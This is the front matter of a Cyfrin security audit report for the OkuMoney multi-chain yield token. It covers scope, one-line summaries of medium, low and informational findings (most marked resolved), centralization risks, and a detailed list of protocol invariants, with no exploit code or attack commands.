

OkuMoney Audit Report

Prepared by Cyfrin

Version 2.0

Head of Security Research

Dacian (Proprietary AI)

Lead Auditors

JesJupyter

ArmorMadeOfWoe

November 12, 2026

Contents

1 About Cyfrin **2**

2 Disclaimer **2**

3 Risks of Publishing This Report **2**

4 Audit Overview **3**

5 Audit Scope **4**

6 Summary of Findings **4**

7 Protocol Summary **6**

8 Executive Summary **6**
8.1 Centralization Risks 6
8.2 Protocol Invariants 7

9 Findings **26**
9.1 Medium Risk 26
9.2 Low Risk 37
9.3 Informational 49

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the in-scope code being audited. Unless the scope explicitly notes otherwise, the review is limited to the application layer and does not extend to the correctness of API/SDK/execution environment implementations, compilers, standard and third-party libraries, underlying operating systems and hardware.

3 Risks of Publishing This Report

This report may contain security-sensitive information beyond its findings. The executive summary, post-audit recommendations and other analysis can point to parts of the code that were hardest to review or carry the most residual risk. Attackers study published audit reports for exactly this information, and AI tools make it cheap to extract at scale.

Before publishing this report, OkuMoney should consider the potential for increased exploit risk. Cyfrin provides an audit summary for public use, which states the scope, commits, review period and finding counts without finding details. Where publication is required, for example for exchange listings or governance, the audit summary and its attestation may meet that need. If OkuMoney runs a bug bounty program, it can list acknowledged findings as known issues so they are not re-reported, without publishing the full report.

4 Audit Overview

Over the course of 10 days, the Cyfrin team conducted an audit on the OkuMoney code provided by OkuMoney. The findings consist of 2 Medium & 8 Low severity issues with the remainder being informational.

Summary

Project Name	OkuMoney
Repository	OkuMoneyContracts
Commit	90c7dc3ed011...
Fix Commit	1d6e86181278...
Audit Timeline	Oct 28th - Nov 10th, 2026
Methods	Manual Review, Proprietary AI

Issues Found

Severity	Found	Resolved	Acknowledged
Critical Risk	0	0	0
High Risk	0	0	0
Medium Risk	2	2	0
Low Risk	8	7	1
Informational	8	7	1
Gas Optimizations	0	0	0
Total	18	16	2

How to read the statuses

Resolved means Cyfrin verified the remediation documented in this report with a Cyfrin verification note. Acknowledged means OkuMoney chose to retain the reported behavior or accept the residual risk; this does not constitute resolution or endorsement by Cyfrin. Finding-specific explanations and verification notes are recorded in this report.

Risk Classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5 Audit Scope

The audit scope was limited to the following files:

```
// EVM
EVM/src/lib/MathLib.sol
EVM/src/lib/OverrideBlockGuard.sol
EVM/src/lib/ReentrancyGuardUpgradeable.sol
EVM/src/psm/LitePSM.sol
EVM/src/token/OkuDollar.sol
EVM/src/token/OkuMoney.sol
EVM/src/token/OkuMoneyRateSchedule.sol

// Solana
SVM/oku-programs/crates/oku-shared/src/math.rs
SVM/oku-programs/crates/oku-shared/src/rate.rs
SVM/oku-programs/crates/oku-shared/src/wad.rs
SVM/oku-programs/crates/oku-shared/src/yield_lock.rs
SVM/oku-programs/programs/lite-psm/src/contexts/direct_burn.rs
SVM/oku-programs/programs/lite-psm/src/contexts/direct_mint.rs
SVM/oku-programs/programs/lite-psm/src/contexts/init.rs
SVM/oku-programs/programs/lite-psm/src/contexts/psm.rs
SVM/oku-programs/programs/lite-psm/src/contexts/psm_admin.rs
SVM/oku-programs/programs/lite-psm/src/contexts/yield_ops.rs
SVM/oku-programs/programs/lite-psm/src/helpers/display_sync.rs
SVM/oku-programs/programs/lite-psm/src/helpers/limits.rs
SVM/oku-programs/programs/lite-psm/src/helpers/math.rs
SVM/oku-programs/programs/lite-psm/src/helpers/multiplier.rs
SVM/oku-programs/programs/lite-psm/src/helpers/yield_lock.rs
SVM/oku-programs/programs/lite-psm/src/instructions/direct_burn.rs
SVM/oku-programs/programs/lite-psm/src/instructions/direct_mint.rs
SVM/oku-programs/programs/lite-psm/src/instructions/init.rs
SVM/oku-programs/programs/lite-psm/src/instructions/psm.rs
SVM/oku-programs/programs/lite-psm/src/instructions/psm_admin.rs
SVM/oku-programs/programs/lite-psm/src/instructions/yield_ops.rs
SVM/oku-programs/programs/lite-psm/src/lib.rs
SVM/oku-programs/programs/lite-psm/src/state.rs
```

6 Summary of Findings

[M-1] Permissionless fee-free mint and redeem cycling drains the never-restored PSM minter allowance, halting all PSM minting and bridge destination legs	Resolved
[M-2] Fresh chain deployment opens permissionless PSM minting at a hard-coded 1.00 multiplier before any schedule seeding, so a chain added after yield accrued sells OkuM below the global value	Resolved
[L-1] `OkuMoneyRateSchedule::okuMMultiplier` prices at `block.timestamp`, which on Arbitrum One, OP Mainnet and Base may trail wall time after a sequencer outage, so a mint at the stale multiplier and a later redeem take unearned yield from the PSM buffer	Acknowledged
[L-2] Mainnet `deploy:init` creates a deployer-owned mock USDC instead of using Circle USDC, so `PsmConfig::usdc_mint` binds permanently to a worthless mint	Resolved

[L-3] Blacklist check rejects zero-value approvals, so grantors cannot revoke an allowance to a blacklisted spender and it revives when the spender is un-blacklisted	Resolved
[L-4] `Initialize::vault_usdc` is created with non-idempotent `init`, so anyone pre-creating the config PDA's USDC associated token account blocks program initialization until an upgrade	Resolved
[L-5] `OverrideBlockGuard::whenNoOverrideThisBlock` compares `block.number`, which on Arbitrum One is a parent-chain block estimate, so an emergency override blocks every PSM and vault path across many L2 blocks	Resolved
[L-6] Mainnet `admin:grant-roles:mainnet` alias defaults its delegate to a devnet key, so a run before the `role_admin` hand-off gives that key `rate_manager` and three more roles	Resolved
[L-7] Deploy script trusts the NETWORK env var without a chainId check, so a stale name deploys LitePSM against permissionless MockUSDC on a production chain	Resolved
[L-8] Token-2022 can display slightly more value than the PSM will redeem	Resolved
[I-1] `OkuDollar::maxRedeem` returns a non-zero amount for a one-internal-share holder that `OkuDollar::redeem` always rejects, so ERC-4626 exit routines revert on dust positions	Resolved
[I-2] SVM override self-fences on its own slot while EVM accepts a second override in the same block, so a back-to-back correction halts the chains at different bases	Resolved
[I-3] Rate re-arms store each chain's own landing second, so identical broadcasts leave chains' multipliers wei apart for good	Resolved
[I-4] Mainnet deploy paths on both stacks sign with plaintext deployer keys that hold every privileged authority until hand-off, so a leaked key takes over the audited contracts	Acknowledged
[I-5] Mainnet role hand-off strips every deployer role after a check any granted address passes, so a wrong or non-signing cold address orphans admin and upgrade rights	Resolved
[I-6] SVM catch-up script sizes the window from wall clock while the program anchors at the lagging `Clock`, so the laggard can end above the leader for good	Resolved
[I-7] `blacklistBoth.ts` does not set OkuDollar's local blacklist state	Resolved
[I-8] Pre-funding the random OkuM mint address can make initialization fail	Resolved

7 Protocol Summary

OkuMoney is centralized, multi-chain yield infrastructure backed by US Treasury Bills held off-chain. Users deposit supported reserve stablecoins through a Peg Stability Module (PSM) and receive OkuMoney (OkuM), a non-rebasing token whose dollar value increases with a shared multiplier. An authorized off-chain operator publishes a per-second compounding rate for a bounded time window; the rate remains fixed during that window while the canonical multiplier compounds continuously. The contracts do not prescribe the production yield policy: OkuMoney manages the reserve backing and Treasury Bill exposure off-chain and determines the rate published on-chain.

- **EVM token model:** OkuM can be wrapped into `OkuDollar` (usdOku), a rebasing, dollar-denominated representation whose displayed balance grows with the multiplier.
- **SVM token model:** A single OkuM Token-2022 mint uses the `ScaledUiAmount` extension for its yield-adjusted display. A permissionless crank periodically synchronizes the display multiplier with the canonical multiplier computed by the `lite-psm` program.
- **Peg Stability Modules:** `LitePSM` and `lite-psm` allow users to mint and redeem against a reserve buffer, using USDC or, on supported EVM chains, USDT.
- **Cross-chain transfers:** An off-chain orchestrator coordinates transfers across EVM chains and SVM. The bridge conserves dollar value, determines the destination token amount using the applicable destination multiplier, and does not accrue yield while a transfer is in flight.

8 Executive Summary

The review identified 18 findings: two Medium, eight Low, and eight Informational. Sixteen findings were resolved, while two were acknowledged.

8.1 Centralization Risks

OkuMoney is an explicitly centralized financial product. Although user-facing mint and redemption flows are permissionless, most protocol administration, configuration, and emergency actions are controlled by privileged roles. The principal centralization risks are:

- **Routine operations:** The orchestrator publishes yield-rate schedules and manages reserve-buffer deposits, while the bridge backend coordinates cross-chain transfers and the SVM direct mint and burn flows within configured caps and allowances.
- **Emergency controls:** Warm roles can pause protocol operations and freeze or blacklist accounts. These powers are intended for incident response but can interrupt protocol availability and restrict individual users.
- **Governance:** Cold roles control role assignments, supply caps, mint allowances, reserve withdrawals, unpausing, and upgrades. This tier can replace the EVM contract or SVM program logic without an on-chain timelock and has the broadest impact on protocol assets and operation.
- **Off-chain backing, yield, and timing:** Users rely on OkuMoney to manage the RWA backing and determine the on-chain rate schedule. On-chain yield is distributed from previously realized off-chain Treasury returns and therefore follows the underlying returns with a delay. Because yield accrues to current token holders during the streaming period, newly minted OkuM begins accruing under the active rate schedule immediately and may participate in yield generated before entry, while holders who exit may not participate in later distributions associated with their final holding period. The epoch and reconciliation policy is controlled off-chain, and differences between realized and distributed yield may be carried into future rate schedules.

OkuMoney has adopted a production role model that separates routine operations, emergency actions, and governance across an orchestrator, warm multisig, and cold multisig, using governance controls to mitigate these centralization risks.

8.2 Protocol Invariants

The protocol is designed around a single, monotonically non-decreasing canonical dollar-value multiplier that remains aligned across supported chains. On EVM, OkuM and usdOku use the same multiplier; on SVM, the Token-2022 display multiplier is periodically synchronized with the canonical multiplier. Reserve-to-token conversions must round in favor of the protocol, and PSM minting must remain within the configured supply and allowance limits. Cross-chain transfers are intended to conserve dollar value, must not create value at the destination, and do not accrue yield while in flight. These properties rely on consistent rate-schedule broadcasts and correct bridge accounting, while continued redemption availability additionally depends on sufficient PSM reserve liquidity on each chain.

The following detailed potential invariants were identified:

8.2.1 LitePSM reserve backing and conversions

ID	Property
INV-1	The PSM's reserve balance changes only through the reserve credited by `mintOkuM`, `mintUsdOku` and `depositBuffer`, the reserve paid by `redeemOkuM` and `redeemUsdOku`, the amount `withdrawUsdc` sends, reserve transferred to the PSM directly, and the reserve issuer's own actions on the PSM's balance (such as destroying a blacklisted holder's USDT, as documented), so apart from such issuer actions the balance equals the starting balance plus these inflows minus these outflows with no rounding tolerance
INV-2	`mintOkuM`, `mintUsdOku` and `depositBuffer` each credit the measured increase in the PSM's reserve balance across their own pull, never the requested amount when less arrived, so a fee-on-transfer reserve never under-backs minted OkuM or overstates a buffer deposit
INV-3	`mintOkuM` and `mintUsdOku` mint the largest whole number of raw OkuM units whose exact dollar value at m (amount * m / 1e18, unrounded, in 18-decimal dollar wei, where m is the `OkuMoneyRateSchedule::okuMMultiplier` value read in the call and 1e18 = 1 dollar per whole OkuM) does not exceed the 18-decimal dollar value of the reserve received (received raw units * `usdcDecimalMultiplier`, with `usdcDecimalMultiplier` = 10^(18 - d) for reserve decimals d), so the caller forfeits less than one raw OkuM unit, at most ceil(m / 1e18) dollar wei, for both 6- and 18-decimal reserves
INV-4	`redeemOkuM` and `redeemUsdOku` send the largest whole number of raw reserve units whose 18-decimal dollar value (units * `usdcDecimalMultiplier`, where `usdcDecimalMultiplier` = 10^(18 - d) for reserve decimals d) does not exceed the exact dollar value of the OkuM burned in the call at m (amount * m / 1e18, unrounded, m being the `OkuMoneyRateSchedule::okuMMultiplier` value read in the call), so the payout the PSM sends falls short of that value by less than one raw reserve unit (a reserve issuer's transfer fee borne by the recipient, as documented, is outside this bound)
INV-5	Every `redeemOkuM` and `redeemUsdOku` that pays reserve burns, in the same call, exactly the OkuM whose value it pays, and a redemption the buffer cannot cover reverts with no OkuM burned, no UsdOku taken and no reserve paid
INV-6	`mintOkuM` and `mintUsdOku` revert rather than take reserve for zero OkuM minted, and `redeemOkuM` and `redeemUsdOku` revert rather than burn OkuM or take UsdOku for a zero reserve payout

ID	Property
INV-7	For a fixed `okuMAmount`, the reserve `redeemOkuM` pays is non-decreasing in the time at which the call executes, and for a fixed amount of reserve received by the PSM the dollar value at execution of the OkuM `mintOkuM` mints, or `mintUsdOku` wraps for the caller, is within one raw OkuM unit of that reserve's dollar value whenever it executes, so a delayed, reordered or front-run `mintOkuM`, `mintUsdOku` or `redeemOkuM` call never delivers less dollar value than at submission beyond that mint floor, and a delayed `redeemUsdOku` of a fixed `usdAmount` pays reserve worth less than at submission by under one raw reserve unit plus 2 * m / 1e18 + 2 dollar wei, m being the multiplier at the later execution (the documented floors on the UsdOku transfer and on the payout); this holds only while the PSM charges no fee, and a reserve issuer's transfer fee, on intake or payout, is outside it, as documented
INV-8	The PSM's OkuMoney balance is the same after every PSM call as before it (OkuM sent to the PSM directly aside), every OkuM unit `mintUsdOku` mints is wrapped for the caller in the same call, and the PSM's OkuMoney allowance to `OkuDollar` is zero after every call
INV-9	`redeemUsdOku` takes from the caller UsdOku whose value does not exceed `usdAmount` and leaves the PSM's internal share balance (`OkuDollar::usdSharesOf` of the PSM) at most one internal share higher than before the call
INV-10	`usdcDecimalMultiplier` equals 10^(18 - d) for the reserve's decimals d read at `initialize` (d <= 18, initialization reverting otherwise), and `okuMoney`, `okuDollar`, `usdc` and `usdcDecimalMultiplier` never change after `initialize`, with `OkuDollar::asset` equal to `okuMoney`
INV-11	On a chain where the reserve is also the native gas currency (such as USDC on Arc), every amount the PSM credits, quotes, pays or checks against the buffer is denominated in the same reserve ERC-20 decimals that set `usdcDecimalMultiplier`, and native-currency movements outside the caller's own pull never increase the amount a mint credits to that caller
INV-12	Reserve leaves the PSM only as a redemption payout to the account whose OkuM or UsdOku was taken and burned in that call, through `withdrawUsdc` by a `Roles::PSM_BUFFER_WITHDRAWER` holder (trusted and, by design, not checked against outstanding OkuM), or through the reserve issuer's own actions on the PSM's balance, as documented, and `withdrawUsdc` never sends more than the PSM's reserve balance
INV-13	While LitePSM is paused, `mintOkuM`, `redeemOkuM`, `mintUsdOku`, `redeemUsdOku`, `depositBuffer` and `withdrawUsdc` all revert, so no reserve enters or leaves the PSM through any PSM function
INV-14	LitePSM never pays a redemption payout to, and never mints OkuM or UsdOku for, an account on OkuMoney's blacklist, and an account on OkuDollar's own blacklist can neither obtain UsdOku through `mintUsdOku` nor redeem through `redeemUsdOku` (the recipient of `withdrawUsdc`, chosen by the trusted `Roles::PSM_BUFFER_WITHDRAWER` holder, is outside this property)
INV-15	Whatever fraction of OkuM supply one account holds (95, 97, 99 percent or more), its redemptions reduce the buffer by no more than the reserve value at the call's multiplier of the OkuM it burns, and no PSM call it makes changes the reserve per raw OkuM unit that another holder's redemption pays at the same multiplier (a redemption may still revert with `InsufficientBuffer` once earlier redemptions have drained the buffer, as documented)

8.2.2 OkuDollar backing and ERC-4626 surface

ID	Property
INV-16	`totalOkuMReserves` (the vault's OkuMoney balance) is at least `totalUsdShares` after every transaction, so every internal share is backed by one raw OkuM unit held by the vault
INV-17	`totalUsdShares` equals the sum of `usdSharesOf` over all accounts after every transaction

ID	Property
INV-18	The surplus `totalOkuMReserves` minus `totalUsdShares` decreases only through `rescueDonation`, by exactly the amount rescued; `wrap` raises `totalUsdShares` by exactly the raw OkuM the vault's balance increased by in that call, and each unwrap path to a receiver other than `OkuDollar` itself lowers `totalOkuMReserves` by no more than the internal shares it burns and by at least that number minus one (an unwrap to `OkuDollar` itself leaves the OkuM in the vault as surplus)
INV-19	`rescueDonation` never transfers more than `totalOkuMReserves` minus `totalUsdShares` at the time of the call, so it never reaches OkuM backing a live share (unwrap dust of up to one raw OkuM per unwrap counts as rescuable, as documented)
INV-20	`usdMultiplier` equals `OkuMoneyRateSchedule::okuMMultiplier` at every read, and `balanceOf(a)` equals floor(`usdSharesOf(a)` * `usdMultiplier` / 1e18) in 18-decimal dollar wei for every account a
INV-21	`totalSupply` equals floor(`totalUsdShares` * `usdMultiplier` / 1e18), is at least the sum of `balanceOf` over all holders and exceeds it by less than one 18-decimal dollar wei per holder, and floor(`totalOkuMReserves` * `usdMultiplier` / 1e18) is at least `totalSupply`
INV-22	`balanceOf(a)` depends only on `usdSharesOf(a)` and `usdMultiplier`, `totalSupply` only on `totalUsdShares` and `usdMultiplier`, and `convertToShares`, `convertToAssets`, the four previews and the outputs of `wrap` and the unwrap paths only on the amounts involved and `usdMultiplier`; none depends on `totalOkuMReserves`, and none other than `totalSupply` depends on any holder's `usdSharesOf` other than the account's own, so a direct OkuM donation to the vault, or one account holding 95 to 99 percent or more of `totalUsdShares`, changes no other holder's value or conversion
INV-23	`wrap` credits `receiver` with internal shares equal to the raw OkuM the vault actually received, returns floor(received * `usdMultiplier` / 1e18) dollar wei, which is at least `minAmountOut`, and raises `receiver`'s `balanceOf` by at least that returned amount and at most one dollar wei more
INV-24	Every unwrap path (`unwrap`, `withdraw`, `redeem`) sends the receiver OkuM whose exact dollar value at `usdMultiplier` does not exceed the dollar amount redeemed, and burns from `owner` internal shares whose exact dollar value at `usdMultiplier` is at least that amount, the two differing by at most one internal share; an unwrap whose OkuM output would be zero reverts and burns nothing
INV-25	At a constant multiplier, `unwrap` of the full dollar amount returned by a `wrap` of x raw OkuM returns at least x - 1 and at most x raw OkuM and burns no more than the x internal shares that `wrap` credited whenever its OkuM output is non-zero, and otherwise reverts without burning shares, as documented
INV-26	While neither OkuDollar nor OkuMoney is paused, the vault is not on OkuMoney's blacklist and the holder is not blacklisted, any holder, in any order relative to others and whatever fraction of `totalUsdShares` it holds (including 99 percent or more), can exit all but at most one internal share of its position through the unwrap paths, never hitting `InsufficientReserves`
INV-27	`transfer` and `transferFrom` leave `totalUsdShares` unchanged, move internal shares whose exact dollar value at `usdMultiplier` does not exceed `amount`, never reduce the sender's `balanceOf` by more than `amount` nor raise the recipient's by more than `amount`, and revert for a nonzero `amount` that would move zero shares (the shortfall of up to one share's value plus one wei stays with the sender while `transferFrom` debits the full `amount` from the allowance, as documented)
INV-28	In one block with no intervening state change, `previewDeposit(x)` equals the dollar amount `deposit(x)` mints, `previewRedeem(s)` equals the raw OkuM `redeem(s)` sends, `withdraw(a)` sends exactly a raw OkuM and returns `previewWithdraw(a)`, and `mint(s)` pulls `previewMint(s)` raw OkuM and mints at least s and less than s + `usdMultiplier` / 1e18 dollar wei (at most one wei more while `usdMultiplier` is below 2e18, as documented)
INV-29	For `withdraw` and `redeem`, the dollar amount reported as burned (the return value of `withdraw`, the `shares` argument of `redeem`, the shares field of the `Withdraw` event and the allowance debited from a third-party caller) is never less than the decrease in `owner`'s `balanceOf` caused by the call

ID	Property
INV-30	Whenever `maxRedeem(owner)` or `maxWithdraw(owner)` is non-zero, `redeem(maxRedeem(owner), receiver, owner)` and `withdraw(maxWithdraw(owner), receiver, owner)` called by `owner` succeed (the one-block emergency-override window excepted, as documented), and `maxDeposit`, `maxMint`, `maxWithdraw` and `maxRedeem` return zero whenever OkuDollar or OkuMoney is paused or the account concerned is blacklisted on either list
INV-31	`convertToAssets(convertToShares(x))` <= x and `convertToShares(convertToAssets(s))` <= s for every x and s; `convertToShares`, `convertToAssets`, `previewDeposit` and `previewRedeem` round down and `previewMint` and `previewWithdraw` round up, each against the caller
INV-32	`convertToShares(x)` equals `OkuMoney::toUIAmount(x)` and the dollar amount `wrap` returns for x raw OkuM received, all evaluated in the same block
INV-33	No account on OkuDollar's own blacklist or on OkuMoney's can send or receive UsdOku, wrap as caller or receiver, unwrap as owner or receiver, create or increase a non-zero allowance through `approve` or `permit` as owner or spender, or act as the spender in `transferFrom`, `withdraw` or `redeem`; zero-value approvals remain available to clear an allowance, and allowances granted before blacklisting are not automatically revoked
INV-34	While OkuDollar is paused, `transfer`, `transferFrom`, `wrap`, `unwrap`, `deposit`, `mint`, `withdraw` and `redeem` revert, while `approve`, `permit`, `blacklist` and `unblacklist` still succeed for authorized, non-blacklisted callers and OkuDollar's pause does not block `rescueDonation` (which, moving OkuM, still needs OkuMoney unpaused)
INV-35	OkuM leaves the vault only to a receiver chosen by the share owner, or by a caller spending the owner's allowance, in exchange for that owner's burned internal shares, or to the receiver of `rescueDonation` called by a `Roles::VAULT_RESCUER` holder
INV-36	OkuDollar's balances and supply are derived only from `usdSharesOf` and `totalUsdShares`, and the inherited ERC-20 balance and total-supply storage stay zero for every account
INV-173	`totalAssets` equals `totalOkuMReserves`, the vault's whole OkuM balance including direct donations and retained unwrap dust, and `totalUsdObligations` equals `totalSupply`

8.2.3 Single-chain cross-contract value conservation

ID	Property
INV-37	Across any sequence of permissionless calls to `LitePSM` and `OkuDollar` during which `OkuMoneyRateSchedule::okuMMultiplier` stays at a constant m, the combined holdings of every account other than `LitePSM` and `OkuDollar` whose reserve, OkuM or `OkuDollar::usdSharesOf` the sequence changes, including the owners and receivers of delegated calls, valued in 18-decimal dollar wei as raw reserve * `LitePSM::usdcDecimalMultiplier` plus raw OkuM * m / 1e18 plus `usdSharesOf` * m / 1e18 (unrounded), never increase by more than one dollar wei per `LitePSM::redeemUsdOku` call, whichever account holds 95 to 99 percent or more of OkuM supply or `OkuDollar::totalUsdShares`

ID	Property
INV-38	If the `LitePSM` reserve buffer holds at least the reserve value at a constant multiplier of all outstanding OkuM, including the OkuM backing `OkuDollar` shares, then while none of `LitePSM`, `OkuMoney` and `OkuDollar` is paused, outside the block of an `OkuMoneyRateSchedule::setOkuMMultiplier` call, while `LitePSM` holds `Roles::OKUM_BURNER` on `OkuMoney` and is on neither OkuMoney's nor OkuDollar's blacklist (blacklisting it halts redemptions, as documented), while `OkuDollar` is not on OkuMoney's blacklist (which would stop the vault sending OkuM on every unwrap), and while the reserve issuer permits the PSM's reserve transfers (its pause or blacklisting of the PSM, as documented, aside), every non-blacklisted holder, in any order and whatever its share of supply, can redeem its entire OkuM balance through `LitePSM::redeemOkuM` and its UsdOku, less at most one internal share, through `LitePSM::redeemUsdOku`, without `InsufficientBuffer` or `InsufficientReserves` (a balance too small to pay one smallest reserve unit, which reverts as a zero payout, aside)
INV-39	At a constant multiplier m, splitting one `LitePSM` mint or redeem, or one `OkuDollar::wrap, unwrap` call, into several smaller calls never yields more total OkuM, reserve or UsdOku value than the single call, except that k + 1 `LitePSM::redeemUsdOku` calls splitting one may pay reserve worth more than the single call's payout by less than one raw reserve unit plus m / 1e18 + k + 3 dollar wei, because each call floors its UsdOku transfer, its unwrap and its payout separately and may draw on internal-share dust the PSM holds from earlier calls (as documented, up to one internal share per call); and splitting one `unwrap` never burns fewer total internal shares for the same dollar amount than the single call
INV-40	If `block.timestamp` advances by no more than wall-clock time between a `LitePSM::mintOkuM` and redemption of the same OkuM, with no intervening schedule write, the round trip returns no more than the deposit grown by the published yield over that interval; L2 timestamp catch-up is a residual risk mitigated through operational monitoring and pauses (issue #3 — L2 timestamp lag)
INV-41	Only a `Roles::OKUM_UPGRADER` holder can upgrade `OkuMoney`, only a `Roles::VAULT_UPGRADER` holder can upgrade `OkuDollar`, and only a `Roles::PSM_UPGRADER` holder can upgrade `LitePSM`, and no proxy can be initialized a second time
INV-178	On each of `OkuMoney`, `OkuDollar` and `LitePSM`, an account gains a role only through that contract's initializer (`OkuMoney::initialize`, `OkuDollar::initialize`, `LitePSM::initialize`) or through `grantRole` called by a holder of that contract's `DEFAULT_ADMIN_ROLE`, and loses one only through `revokeRole` called by such a holder or through its own `renounceRole`, so a role on one contract never confers or changes a role on another
INV-171	Only `Roles::PSM_PAUSER` and `Roles::PSM_UNPAUSER` holders change `LitePSM`'s pause state and only a `Roles::PSM_BUFFER_DEPOSITOR` holder can call `LitePSM::depositBuffer`, and only `Roles::VAULT_PAUSER` and `Roles::VAULT_UNPAUSER` holders change `OkuDollar`'s pause state and only `Roles::OKUM_BLACKLISTER` and `Roles::OKUM_UNBLACKLISTER` holders add to and remove from OkuDollar's own blacklist, each role as granted on that contract's own access control

8.2.4 OkuMoney supply cap, minter allowance, blacklist and pause

ID	Property
INV-42	`OkuMoney::totalSupply` never exceeds `maxSupply`, and `setMaxSupply` never sets `maxSupply` below the current `OkuMoney::totalSupply`
INV-43	`OkuMoney::totalSupply` equals the sum of `OkuMoney::balanceOf` over all accounts, increases only through `mint` by a `Roles::OKUM_MINTER` holder and decreases only through `burn` of the caller's own balance by a `Roles::OKUM_BURNER` holder

ID	Property
INV-44	For every minter, the OkuM it has minted since its allowance was last set through `configureMinterAllowance`, less the OkuM it has burned since then, never exceeds that configured allowance, and holding `Roles::OKUM_MINTER` without a configured allowance permits no minting
INV-45	Mint-and-redeem round trips through `LitePSM` by an unprivileged account that return its own OkuM balance and `OkuMoney::totalSupply` to their starting values do not reduce the OkuM that other accounts can mint through `LitePSM::mintOkuM, mintUsdOku`
INV-46	An account on OkuMoney's blacklist can neither send nor receive OkuM, be minted to, call `mint` as the minter, call `burn`, create or increase a non-zero allowance through `approve` or `permit` as owner or spender, nor spend an existing allowance through `transferFrom`; zero-value approvals remain available to clear an allowance, and allowances granted before blacklisting are not automatically revoked
INV-47	An owner can reduce to zero an allowance it granted on OkuMoney or `OkuDollar`, including one granted to a spender later blacklisted (issue #5 — Blacklist allowance revocation)
INV-48	While OkuMoney is paused, no OkuM moves between two non-zero addresses and no `mint` succeeds, while `burn` of the caller's own balance, `approve`, `permit`, `blacklist` and `unblacklist` still succeed for authorized, non-blacklisted callers
INV-49	In one block, `toUIAmount(x)` equals floor(x * m / 1e18) and `fromUIAmount(u)` equals floor(u * 1e18 / m), where m is `OkuMoneyRateSchedule::okuMMultiplier` (1e18 = 1 dollar per whole OkuM), `balanceOfUI(a)` equals `toUIAmount` of `OkuMoney::balanceOf(a)`, `totalSupplyUI` equals `toUIAmount` of `OkuMoney::totalSupply` and is at least the sum of `balanceOfUI` over all holders, and `fromUIAmount(toUIAmount(x)) <= x`
INV-50	Only a `Roles::OKUM_ALLOWANCE_MANAGER` holder can call `configureMinterAllowance`, only a `Roles::OKUM_CAP_MANAGER` holder changes `maxSupply`, only `Roles::OKUM_BLACKLISTER` and `Roles::OKUM_UNBLACKLISTER` holders add to and remove from OkuMoney's blacklist, and only `Roles::OKUM_PAUSER` and `Roles::OKUM_UNPAUSER` holders change OkuMoney's pause state, each role as granted on OkuMoney's own access control
INV-177	`supportsInterface` returns true for `IScaledUIAmount` (`0xa60bf13d`), `IScaledUIAmountNewUIMultiplier` (`0x4bd27648`), `IScaledUIAmountConversion` (`0x57854fc3`) and `IScaledUIAmountBalances` (`0xd890fd71`), whatever the pause state and schedule state

8.2.5 OkuMoneyRateSchedule multiplier schedule and override

ID	Property
INV-51	`okuMMultiplier` (18-decimal dollars per whole OkuM, 1e18 = 1 dollar) read at any later block is at least its value at any earlier block, across every schedule write and pause; it starts at 1e18 and never exceeds 1e24
INV-52	`setOkuMYieldRate`, `setNextOkuMYieldRate` and `setOkuMYieldRateWithSuccessor` leave `okuMMultiplier` unchanged at the instant of the write and never change `lastOverrideBlock`, so they never trigger the override lock, and `setNextOkuMYieldRate` also leaves `okuMMultiplier` unchanged at every timestamp up to `okuMRateEnd`
INV-53	`okuMMultiplier` is a pure function of the six stored schedule fields (`okuMBaseMultiplier`, `okuMRatePerSecond`, `okuMLastAccrualTime`, `okuMRateEnd`, `okuMPendingRatePerSecond`, `okuMPendingRateEnd`) and `block.timestamp`, independent of `OkuMoney::totalSupply`, any balance, the block number and the caller, including when one account holds nearly all supply

ID	Property
INV-54	At a timestamp t after `okuMLastAccrualTime`, `okuMMultiplier` equals `okuMBaseMultiplier` compounded once for each second in (`okuMLastAccrualTime`, t]: at `okuMRatePerSecond` for seconds up to `okuMRateEnd`, at `okuMPendingRatePerSecond` for seconds after `okuMRateEnd` up to `okuMPendingRateEnd`, and at no yield after that or while halted, clamped at 1e24 and up to the per-step rounding of `MathLib::rpow` and the floor of each compounding leg, with no second compounded twice and no second at or before `okuMLastAccrualTime` compounded at all
INV-55	In every reachable state, `okuMRatePerSecond` and `okuMPendingRatePerSecond` lie in [1e18, 1e18 + 1e11]; `okuMRateEnd` is zero exactly when `okuMRatePerSecond` is 1e18; when `okuMRateEnd` is non-zero, `okuMLastAccrualTime` < `okuMRateEnd` <= `okuMLastAccrualTime` + 90 days; and when `okuMPendingRatePerSecond` exceeds 1e18, `okuMRateEnd` < `okuMPendingRateEnd` <= `okuMRateEnd` + 90 days
INV-56	`okuMMultiplier` does not revert at any `block.timestamp` at or after the latest schedule write, for every state the schedule writers can reach and however long no write follows, so no recovery path that reads it (including `setOkuMYieldRate` and `setOkuMMultiplier`) is bricked
INV-57	While OkuMoney is paused, `setOkuMMultiplier` reverts and no rate write raises, for any future second, the per-second rate the schedule applies to that second (counting halted seconds as 1e18) above what it applied before the write; a halt through `setOkuMYieldRate` (rate 1e18, end 0) succeeds for a `Roles::OKUM_RATE_MANAGER` holder whether or not OkuMoney is paused, and a successor staged before the pause still activates at `okuMRateEnd`
INV-58	`setOkuMMultiplier(v)` succeeds only for a `Roles::OKUM_RATE_MANAGER` holder while OkuMoney is unpaused, with v strictly above the current `okuMMultiplier` and at most 1e24; afterwards `okuMMultiplier` equals v at every timestamp until the next schedule write, a later `setOkuMMultiplier` included, `lastOverrideBlock` equals the current block number, and any staged successor is cancelled
INV-59	`lastOverrideBlock` changes only through `setOkuMMultiplier` and never decreases
INV-60	The six schedule fields and `lastOverrideBlock` change only through `setOkuMYieldRate`, `setNextOkuMYieldRate`, `setOkuMYieldRateWithSuccessor` and `setOkuMMultiplier` called by a `Roles::OKUM_RATE_MANAGER` holder on OkuMoney, apart from initialization, which starts a halted schedule at 1e18
INV-61	Two reads of `okuMMultiplier` at the same `block.timestamp` return the same value unless `setOkuMMultiplier` executes between them, including across the several blocks that share one second on sub-second-block chains
